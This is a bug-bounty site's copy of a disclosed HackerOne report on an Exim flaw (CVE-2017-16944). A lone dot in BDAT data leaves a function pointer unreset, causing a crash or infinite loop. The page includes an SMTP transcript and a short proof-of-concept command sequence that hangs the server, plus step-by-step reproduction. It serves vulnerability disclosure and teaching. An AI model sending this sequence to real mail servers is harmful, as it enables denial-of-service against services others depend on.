Skip to content
DoS Disclosed report Intermediate CVE-2017-16944CVE-2017-16943

Exim handles BDAT data incorrectly and leads to crash/hang

Exim incorrectly treats a single dot in BDAT data as end-of-message, leaving the receive_getc function pointer unreset. A subsequent BDAT command causes an infinite loop and stack exhaustion, crashing or hanging the server.

mehqq Follow

Originally disclosed on HackerOne

High 7.5 View original
  • Fixed in 15 hours
  • Disclosed after 23 months

Original article is here

Incorrect BDAT data handling leads to DoS

Vulnerability Analysis

When receiving data with BDAT command, SMTP server should not consider a single dot ‘.’ in a line to be the end of message. However, we found exim does in receive_msg when parsing header. Like the following output:

220 devco.re ESMTP Exim 4.90devstart_213-7c6ec81-XX Mon, 27 Nov 2017 16:58:20 +0800
EHLO test
250-devco.re Hello root at test
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250-AUTH PLAIN LOGIN CRAM-MD5
250-CHUNKING
250-STARTTLS
250-PRDR
250 HELP
MAIL FROM:<[email protected]>
250 OK
RCPT TO:<[email protected]>
250 Accepted
BDAT 10
.
250- 10 byte chunk, total 0
250 OK id=1eJFGW-000CB0-1R

As we mentioned before, exim uses function pointers to switch input source. This bug makes exim go into an incorrect state because the function pointer receive_getc is not reset. If the next command is also a BDAT, receive_getc and lwr_receive_getc become the same and an infinite loop occurs inside bdat_getc. Program crashes due to stack exhaustion. smtp_in.c: 546 bdat_getc

  if (chunking_data_left > 0)
    return lwr_receive_getc(chunking_data_left--);

This is not enough to pose a threat because exim runs a fork server. After a further analysis, we made exim go into an infinite loop without crashing, using the following commands.

# CVE-2017-16944 PoC by meh at DEVCORE

EHLO localhost
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
BDAT 100
.
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
BDAT 0 LAST

This makes attackers able to launch a resource based DoS attack and then force the whole server down.

Impact

Make mail server process crash or hang. Attackers may launch a resource based DoS attack and then force the whole server down.

The original report as published on HackerOne, by mehqq. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the receive_getc function pointer is not reset after BDAT data containing a single dot is processed, causing an infinite loop in bdat_getc when another BDAT command arrives.

Impact

The mail server process could crash or hang, and attackers may launch a resource-based DoS attack to force the whole server down.

What the attacker needed

SMTP access to the Exim server

How it was found

  1. Connect to the SMTP server and send EHLO.
  2. Send MAIL FROM and RCPT TO commands.
  3. Send BDAT 100 followed by a line containing only a dot.
  4. Send another MAIL FROM and RCPT TO.
  5. Send BDAT 0 LAST to trigger the infinite loop.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

BDAT is a way to send email data in chunks. Exim mistakenly thought a line with just a dot ended the message, which left it in a confused state. Sending another BDAT command then made it loop forever, crashing or hanging the mail server.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by mehqq

View all

2 more disclosed reports, best first.

More from Internet Bug Bounty

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.